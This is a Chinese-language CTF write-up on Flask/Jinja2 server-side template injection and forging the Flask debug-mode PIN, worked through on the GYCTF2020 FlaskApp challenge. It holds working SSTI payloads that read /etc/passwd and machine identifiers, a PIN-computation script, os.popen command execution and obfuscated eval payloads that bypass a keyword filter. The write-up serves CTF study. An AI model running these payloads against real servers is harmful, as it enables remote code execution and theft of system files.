ssti的payload还是不太会写…
Flask debug 模式生成pin码
计算pin所需要的值为:
1.flask所登录的用户名 2.modname 3.getattr(app, “name”, app.class.name) 4.flask库下app.py的绝对路径 5.当前网络的mac地址的十进制数 6.docker机器id
1.flask所登录的用户名
/etc/passwd 中找到用户名
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}
{% endif %}
{% endfor %}
也可以
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
2.modname
一般为固定值flask.app
3.getattr(app, '__name__', getattr(app.__class__, '__name__'))
一般为固定值Flask
4.getattr(mod, '__file__', None) app.py的绝对路径
flask目录下的一个app.py的绝对路径 从网站报错信息中可以看到
有人说是要加上pyc,我试的不用
5.uuid.getnode() mac地址
当前网络的mac地址的十进制数
读取文件**/sys/class/net/eth0/address** 或者 /sys/class/net/eth33/address eth0为网卡
6.get_machine_id() 机器id
每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。
docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
计算pin脚本
大佬写的脚本
from sys import *
import requests
import re
from itertools import chain
import hashlib
def genpin(mac,mid):
probably_public_bits = [
'ctf',
'flask.app',
'Flask',
'/usr/local/lib/python2.7/dist-packages/flask/app.py'
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac),
str(mid)
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def getcode(content):
try:
return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
except:
return ''
def getshell():
print genpin("02:74:0e:ef:de:c2","0f70e611b2d30ec172763896fc0dd1252a84b8027036d52a8c243e9142af5bea")
if __name__ == '__main__':
getshell()
wp
1.[GYCTF2020]FlaskApp
是个flask的base64加密解密小程序,有hint:<!-- PIN --->
解密处如果输入不正确会有Flask debug
/app/app.py 53行的报错可以看到render_template_string 造成SSTI
File "/app/app.py", line 53, in decode
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) : //waf是可以读源码得到的
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
需要计算pin码
执行命令的地方是解密页面,先把payload base64加密,然后解密页面解密的时候会执行
计算pin所需要的值:
用户名:flaskweb
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}{% endif %}{% endfor %}
modname一般为固定值flask.app ,getattr(app, '__name__', getattr(app.__class__, '__name__')) 一般为固定值Flask ,flask库下app.py的绝对路径/usr/local/lib/python3.7/site-packages/flask/app.py
mac地址:02:42:ac:10:ae:c9 ,payload同用户名,读文件/sys/class/net/eth0/address,要转为十进制26617216174201
机器id:0f70e611b2d30ec172763896fc0dd1252a84b8027036d52a8c243e9142af5bea ,docker机器id读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id
脚本计算pin码:
from sys import *
import requests
import re
from itertools import chain
import hashlib
def genpin(mac,mid):
probably_public_bits = [
'flaskweb',
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]
mac = "0x"+mac.replace(":","")
mac = int(mac,16)
private_bits = [
str(mac),
str(mid)
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def getcode(content):
try:
return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
except:
return ''
def getshell():
print genpin("02:42:ac:10:ae:c9","0f70e611b2d30ec172763896fc0dd1252a84b8027036d52a8c243e9142af5bea")
if __name__ == '__main__':
getshell()
得到106-699-279,开启python交互shell控制台
命令执行
import os
os.popen('ls /').read()
way2 纯flask命令执行
正常方法可以读源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
得到waf
def waf(str):
black_list = [&
&
for x in black_list :
if x in str.lower() :
return 1
可以看到flag和os被过滤 通过字符窜拼接,查看根目录
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
过滤了flag,有两种绕过方式
第一种:
'txt.galf_eht_si_siht/'[::-1] 将字符倒转输出
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}
{% endif %}
{% endfor %}
第二种
采用字符窜拼接的方法
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl'+'ag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
参考链接:https://www.cnblogs.com/h3zh1/p/12694933.html
|